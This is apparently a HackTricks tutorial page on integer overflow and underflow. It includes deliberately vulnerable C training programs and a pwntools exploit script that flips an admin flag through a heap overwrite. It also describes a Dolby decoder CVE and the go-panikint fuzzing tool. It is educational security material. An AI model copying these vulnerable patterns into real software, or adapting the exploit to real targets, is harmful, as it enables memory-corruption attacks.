{{#include ../banners/hacktricks-training.md}}
At the heart of an integer overflow is the limitation imposed by the size of data types in computer programming and the interpretation of the data.
For example, an 8-bit unsigned integer can represent values from 0 to 255. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a 16-bit unsigned integer, which can hold values from 0 to 65,535, adding 1 to 65,535 will wrap the value back to 0.
Moreover, an 8-bit signed integer can represent values from -128 to 127. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as -128 (binary 10000000), and the most positive number is 127 (binary 01111111).
Max values for common integer types:
| Type | Size (bits) | Min Value | Max Value |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short is equivalent to a int16_t and an int is equivalent to a int32_t and a long is equivalent to a int64_t in 64bits systems.
For potential web vulnerabilities it's very interesting to know the maximum supported values:
{{#tabs}} {{#tab name="Rust"}}
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}{{#endtab}}
{{#tab name="C"}}
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}{{#endtab}} {{#endtabs}}
The printed result will be 0 as we overflowed the char:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}Compile it with:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}Compile it with:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.cSome custom allocators round allocations up to alignment without re-checking for overflow. In the Dolby Unified Decoder (Pixel 9, CVE-2025-54957), attacker-controlled emdf_payload_size (decoded with an unbounded variable_bits(8) loop) is fed into ddp_udc_int_evo_malloc:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;For 64-bit values near 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size wraps the addition and produces a tiny total_size even though the logical alloc_size remains huge. The caller later writes payload_length bytes into the returned chunk:
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}Why exploitation is reliable in this pattern:
- Overflow length control: Bytes are sourced from a reader capped by another attacker-chosen length (
emdf_container_length), so the write stops after N bytes instead of sprayingpayload_length. - Overflow data control: Bytes written past the chunk are fully attacker-supplied from the EMDF payload.
- Heap determinism: The allocator is a per-frame bump-pointer slab with no frees, so adjacency of corrupted objects is predictable.
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
-
-
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
Go wraps integers silently. go-panikint is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls runtime.panicoverflow() (panic + stack trace).
Why use it
- Makes overflow/truncation reachable in fuzzing/CI because arithmetic wraps now crash.
- Useful around user-controlled pagination, offsets, quotas, size calculations, or access-control math (e.g.,
end := offset + limitonuint64wrapping small).
Build & use
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarnessRun this forked go binary for tests/fuzzing to surface overflows as panics.
Noise control
- Truncation checks (casts to smaller ints) can be noisy.
- Suppress intentional wrap-around via source-path filters or inline
// overflow_false_positive/// truncation_false_positivecomments.
Real-world pattern
go-panikint revealed a Cosmos SDK uint64 pagination overflow: end := pageRequest.Offset + pageRequest.Limit wrapped past MaxUint64, returning empty results. Instrumentation turned the silent wrap into a panic that fuzzers could minimize.
This doesn't change in ARM64 as you can see in this blog post.
- Detect Go’s silent arithmetic bugs with go-panikint
- go-panikint (compiler fork)
- Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow
{{#include ../banners/hacktricks-training.md}}